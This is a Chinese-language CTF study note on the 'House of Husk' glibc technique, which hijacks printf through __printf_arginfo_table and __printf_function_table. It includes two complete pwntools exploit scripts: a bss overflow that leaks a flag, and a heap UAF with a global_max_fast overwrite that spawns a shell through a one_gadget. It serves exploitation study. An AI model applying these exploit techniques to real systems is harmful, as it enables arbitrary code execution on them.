House-of-husk学习
新姿势
# House-of-husk 学习
# 利用原理
参考链接:高 Glibc 版本下的堆骚操作解析
利用了 printf
的一个调用链
printf->vfprintf->printf_positional->__parse_one_specmb->__printf_arginfo_table(spec)
_parse_one_specmb 函数会调用 __printf_arginfo_table 和__printf_function_table 两个函数指针中对应 spec 索引的函数指针 printf_arginfo_size_function
这个 spec 索引指针就是格式化字符的 ascii 码值,比如 printf ("% s"),那么就是 s 的 ascii 码值。
即调用 (__printf_arginfo_table+'spec’8) 和 (printf_function_table+'spec’8) 这两个函数指针。
实际情况会先调用__printf_arginfo_table 中对应的 spec 索引的函数指针
# 利用条件
调用的前提便是__printf_arginfo_table 和__printf_function_table 均不为 0,当然大前提是程序要有 printf 和格式化字符串参数
- __printf_function_table != 0
- __printf_arginfo_table = heap_addr
- heap_addr+‘spec’*8 = one_gadget
其中 heap_addr 可以为任何可控地址
如果我们可以将可控的地址写到 __printf_arginfo_table 和 __printf_function_table 便可以进行利用,如 large bin attack 写入堆地址
# 例题
# readme_revenge
首先是对 name 进行输入,其中 name 存在于 bss 段
那么我们可以直接从 bss 段溢出覆盖各种我们需要的条件
# -*- encoding: utf-8 -*-
import sys
import os
import requests
from pwn import *
binary = './readme_revenge'
os.system('chmod +x %s'%binary)
context.binary = binary
context.log_level = 'debug'
elf = ELF(binary)
libc = elf.libc
# libc = ELF('')
DEBUG = 1
if DEBUG:
libc = elf.libc
p = process(binary)
# p = process(['qemu-arm', binary])
# p = process(['qemu-arm', binary,'-g','1234'])
# p = process(['qemu-aarch64','-L','','-g','1234',binary])
else:
host = ''
port = ''
p = remote(host,port)
l64 = lambda : ras(u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')))
l32 = lambda : ras(u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')))
uu64= lambda a : ras(u64(p.recv(a).ljust(8,'\x00')))
uu32= lambda a : ras(u32(p.recv(a).ljust(4,'\x00')))
sla = lambda a,b : p.sendlineafter(str(a),str(b))
sa = lambda a,b : p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)
se = lambda payload : p.send(payload)
rl = lambda : p.recv()
sl = lambda payload : p.sendline(payload)
ru = lambda a : p.recvuntil(str(a))
rint= lambda x = 12 : int( p.recv(x) , 16)
def ras( data ):
lg('leak' , data)
return data
def dbg( b = null):
if (b == null):
gdb.attach(p)
pause()
else:
gdb.attach(p,'b %s'%b)
def cmd(num):
sla('>',num)
def attack():
flag_addr = 0x00000000006B4040
name_addr = 0x00000000006B73E0
argv_addr = 0x00000000006b7980
__printf_function_table_addr = 0x00000000006B7A28
__printf_arginfo_table_addr = 0x00000000006B7AA8
# 由于是静态连接,这两个地址可以自己去 printf 函数中去找
stack_chk_fail = 0x00000000004359b0
payload = p64(flag_addr)
payload = payload.ljust(0x73*8 , '\x00')
payload += p64(stack_chk_fail) #设置要执行的函数
payload = payload.ljust(argv_addr - name_addr , '\x00')
payload += p64( name_addr ) #设置 argv[0] 即程序名地址为 flag 的地址、
payload = payload.ljust(__printf_function_table_addr - name_addr , '\x00')
payload += p64(1)
payload = payload.ljust(__printf_arginfo_table_addr - name_addr , '\x00')
payload += p64( name_addr ) #设置要执行的函数地址 (需要算好偏移)
# 本题输入在bss段,可以将下面的东西全部覆盖到
sl(payload)
# p.success(getShell())
p.interactive()
attack()
'''
@File : readme_revenge.py
@Time : 2022/01/26 18:11:40
@Author : Niyah
'''
# 送分题
本题逻辑很清晰,且可以申请两个特别大的块,并且有个 uaf 可以对 unsorted bin 进行修改,我们泄露出 libc 地址后直接攻击 global_max_fast 让特别大的块也属于 fast bin 随后释放两个大块的时候就会把这两个大块的地址写到 main_arena 附近,如果我们控制好堆块大小,可以直接写到 __printf_arginfo_table 和 __printf_function_table
此时让__printf_arginfo_table 处指向的这个堆块的合适位置为一个函数指针,便可以在 printf 的时候调用这个函数从而 getshell
# -*- encoding: utf-8 -*-
import sys
import os
import requests
from pwn import *
binary = './sftpwn'
os.system('chmod +x %s'%binary)
context.binary = binary
context.log_level = 'debug'
elf = ELF(binary)
libc = elf.libc
# libc = ELF('')
DEBUG = 1
if DEBUG:
libc = elf.libc
p = process(binary)
else:
host = ''
port = ''
p = remote(host,port)
l64 = lambda : ras(u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')))
l32 = lambda : ras(u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')))
uu64= lambda a : ras(u64(p.recv(a).ljust(8,'\x00')))
uu32= lambda a : ras(u32(p.recv(a).ljust(4,'\x00')))
sla = lambda a,b : p.sendlineafter(str(a),str(b))
sa = lambda a,b : p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)
se = lambda payload : p.send(payload)
rl = lambda : p.recv()
sl = lambda payload : p.sendline(payload)
ru = lambda a : p.recvuntil(str(a))
rint= lambda x = 12 : int( p.recv(x) , 16)
def ras( data ):
lg('leak' , data)
return data
def dbg( b = null):
if (b == null):
gdb.attach(p)
pause()
else:
gdb.attach(p,'b %s'%b)
def cmd(num):
sla('>',num)
def attack():
__printf_arginfo_table = 0x3ec870
__printf_function_table = 0x3f0658
main_arena = libc.sym['__malloc_hook']-0x10
size1 = (__printf_arginfo_table - main_arena)*2 - 0x50
size2 = (__printf_function_table - main_arena)*2 - 0x50
# 算好 size ,让其 free 时刚好在 __printf_arginfo_table 和 __printf_function_table
lg('size1',size1)
lg('size2',size2)
sla('big box, what size?' , size1)
sla('bigger box, what size?' , size2)
sla('rename?(y/n)' , 'y')
__malloc_hook = l64() - 0x70
libc.address = __malloc_hook - libc.sym['__malloc_hook']
global_max_fast = libc.address + 0x3ed940
ogg = libc.address + 0x10a45c
lg('global_max_fast',global_max_fast)
lg('ogg',ogg)
sla('name' , flat(global_max_fast - 0x10 , global_max_fast - 0x10))
sla('(1:big/2:bigger)' , 1)
payload = 'a'*8*(0x73-2) + p64(ogg)*2
# q:为什么要 -2 ?
# a:因为堆块头部包含了 0x10 大小
# dbg()
sla(':' , payload)
# p.success(getShell())
p.interactive()
attack()
'''
@File : sftpwn-wp.py
@Time : 2022/01/26 16:20:33
@Author : Niyah
'''
本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。